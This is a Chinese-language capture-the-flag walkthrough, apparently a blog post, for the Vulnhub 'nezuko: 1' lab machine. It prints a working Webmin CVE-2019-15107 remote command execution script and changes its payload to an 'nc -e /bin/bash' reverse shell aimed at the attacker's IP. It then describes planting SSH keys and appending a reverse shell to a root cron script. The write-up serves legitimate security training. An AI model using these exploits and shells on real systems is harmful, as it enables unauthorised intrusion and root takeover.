【Vulnhub】靶机nezuko: 1

————靶机说明————

下载链接

https://download.vulnhub.com/nezuko/nezuko.zip

 

靶机信息:

Creator : @yunaranyancat (Twitter)

Difficulty : Easy ~ Intermediate

OS Used: Ubuntu 18.04

Services : Webmin 1.920, Apache, SSH

User : root, zenitsu, nezuko

Hashes : at their home directory

 

————实验过程————

开机后要登陆,不知道账号密码

首先kali扫下主机,重复测试发现以下两个ip(两个网络适配器)

然后扫端口,按144为例,开放了3个端口

先访问一下ip,没啥有用的

御剑爆破一下目录

访问robots,得到一串加密字符

base64解码失败,base32试试

Ok,这个端口错的,换13337

尝试admin 弱口令爆破,失败

刚刚nmap也检测出webmin版本为

检查这个版本下的漏洞以及exp,找可用的如下

新建.sh文件,复制代码

#!/bin/sh

#

# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution

# based on Metasploit module https://www.exploit-db.com/exploits/47230

# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin

#

# Fernando A. Lagos B. (Zerial)

# https://blog.zerial.org

# https://blog.nivel4.com

#

# The script sends a flag by a echo command then grep it. If match, target is vulnerable.

#

# Usage: sh CVE-2019-15107.sh https://target:port

# Example: sh CVE-2019-15107.sh https://localhost:10000

# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!

#

 

FLAG="f3a0c13c3765137bcde68572707ae5c0"

URI=$1;

 

echo -n "Testing for RCE (CVE-2019-15107) on $URI: ";

curl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H "Content-Type: application/x-www-form-urlencoded" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1

 

if [ $? -eq 0 ];

then

echo '33[0;31mVULNERABLE!33[0m'

else

echo '33[0;32mOK! (target is not vulnerable)33[0m'

fi

#EOF

运行.sh文件,检测后可见漏洞是存在的

接下来修改代码红色加粗部分为nc -e /bin/bash 192.168.106.136 1234

开启nc监听

然后再次运行修改后的脚本,成功获得反弹shell

然后在home/nezuko目录下获得了nezuko的flag

在home/zenitsu目录下获得zenitsu的flag


 

然后看看/etc/passwd,zenitsu账号下有串加密的密码

爆破密码出来是meowmeow,不过没法直接远程登陆ssh

我们首先本地生成密钥,密码自己随便设置

然后shell把公钥内容写入到authorized_keys文件中

然后登陆ssh即可

这时候可以su登陆zenitsu

刚刚在home/nezuko下发现了from_zenitsu文件夹

切进去看看

隔一段时间便发送一次文件,文件内容如下

一个应该是原文,一个应该是靶机上传者的测试

好ok不重要,如今我们登陆zenitsu,发现了文件脚本目录和脚本

试着修改一下内容,发现没有权限

查看隐藏权限

只能追加,不能删除覆盖内容

那么追加一句反弹shell进去

然后开始监听,刚刚分析隔一段时间会执行一次,应该是root执行的

果然等了几分钟左右,收到了连接信息

最后获得了root下的flag

  

————结束撒花————

 

原文地址:https://www.cnblogs.com/hguone/p/13151915.html